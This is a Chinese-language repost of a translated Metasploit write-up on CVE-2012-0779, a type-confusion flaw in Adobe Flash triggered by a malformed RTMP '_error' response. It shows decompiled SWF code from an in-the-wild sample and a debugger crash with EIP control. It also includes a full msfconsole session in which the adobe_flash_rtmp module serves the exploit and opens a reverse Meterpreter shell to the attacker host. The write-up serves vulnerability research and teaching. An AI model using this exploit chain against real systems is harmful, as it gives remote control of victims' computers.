欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

利用Metasploit编写Adobe Flash漏洞模块 (CVE-2012-0779)

程序员文章站 2022-07-03 10:07:00
上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本... 12-06-28...
上个月爆了一个adobe flash的漏洞,影响windows, macintosh和linux平台下的adobe flash player 11.2.202.233和之前版本,android 4.x下adobe flash player 11.1.115.7及之前版本,android 3.x和2.x下的adobe flash player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。
根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到email消息中的以文件来触发。利用的程序目标针对windows平台上的flash player。
今天我们来研究一下如何在metasploit中编写该漏洞的exp。
最初我们发现了这个漏洞的样本,并开始分swf(shockwave文件),我们发现该漏洞利用swf堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在rtmp传递数据的时候处理 amf (action message format)发生的问题。

复制代码
代码如下:

public function v42(_arg1:string):void{
// the netconnection class creates a two-way connection
// between a client and a server. the client can be a flash
// player or air application. the server can be a web server,
//flash media server, an application server running flash remoting, or the adobe stratus service
this.v15 = new netconnection();
var _local2 = "rtmp://";
var _local3 = "/tsgeneralsetting";
var _local4:string = ((_local2 + _arg1) + _local3);
// creates a two-way connection to an application on flash media server or to flash remoting, or creates a two-way
// network endpoint for rtmfp peer-to-peer group communication
this.v15.connect(_local4);
// calls a command or method on flash media server or on an application server running flash remoting
this.v15.call("systemmemorycall", this.v16, "argc");
}

利用Metasploit编写Adobe Flash漏洞模块 (CVE-2012-0779)
我们建立了一个自己的flash media server来检测数据传输时的信息。如下图:
 第一个猜测是在systemmemorycall()的响应解析时可能会触发漏洞,但是我们的rtmp服务器没有识别到该函数的调用,而且返回了一个amf的错误信息。进一步测试我们捕获受感染机器与rtmp服务器之间的rtmp通信,如下图:
利用Metasploit编写Adobe Flash漏洞模块 (CVE-2012-0779)
恶意rtmp服务器响应的“_error”信息如下,看起来如下:
field name type description command name
string
_error indicates an error
transaction id
number
transaction id
information
object
name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.
运行了rtmp “_error” 响应之后,我们终于能够让adobe flash触发该漏洞,如下:

复制代码
代码如下:

(348.540): access violation - code c0000005 (first chance)
first chance exceptions are reported before any exception handling.
this exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
flash32_11_2_202_228!dllunregisterserver+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2ch]
ds:0023:44444470=????????

0:000> u eip
flash32_11_2_202_228!dllunregisterserver+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax

因为处理畸形的 rtmp _error会产生类型混乱,所以在测试该漏洞时不需要等待systemmemorycall()请求,相反,一个恶意的rtmp服务器可以返回一个制作好的恶意”_error” 响应信息,包含一个链接rtmp服务器的命令。这样我们更容易建立metasploit的模块。
metasploit的支持许多不同的协议,但是没有rtmp,所以我们建立了一个rex::socket::tcpserver的api,可以跟客户端产生交互的rtmp。提供三次握手协议和服务器恶意的_error响应信息。
如下:

复制代码
代码如下:

msf > use exploit/windows/browser/adobe_flash_rtmp
msf exploit(adobe_flash_rtmp) > exploit
[*] exploit running as background job.

[*] started reverse handler on 192.168.1.157:4444
[*] using url: http://0.0.0.0:8080/sgs7eu3zjbo0
[*] local ip: http://192.168.1.157:8080/sgs7eu3zjbo0
[*] server started.
msf exploit(adobe_flash_rtmp) > [*] 192.168.1.158 adobe_flash_rtmp - client requesting: /sgs7eu3zjbo0
[*] 192.168.1.158 adobe_flash_rtmp - using msvcrt rop
[*] 192.168.1.158 adobe_flash_rtmp - sending html
[*] 192.168.1.158 adobe_flash_rtmp - client requesting: /sgs7eu3zjbo0/bnkxazrw.swf
[*] 192.168.1.158 adobe_flash_rtmp - sending exploit swf
[*] 192.168.1.158 adobe_flash_rtmp - connected to rtmp
[*] sending stage (752128 bytes) to 192.168.1.158
[*] meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] session id 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing initialautorunscript 'migrate -f'
[*] current server process: iexplore.exe (2284)
[*] spawning notepad.exe process to migrate to
[+] migrating to 3904
[+] successfully migrated to process

该模块在新的metasploit中已经支持。请下载或更新到最新版本使用即可。
via/juan vazquez 译/freebuf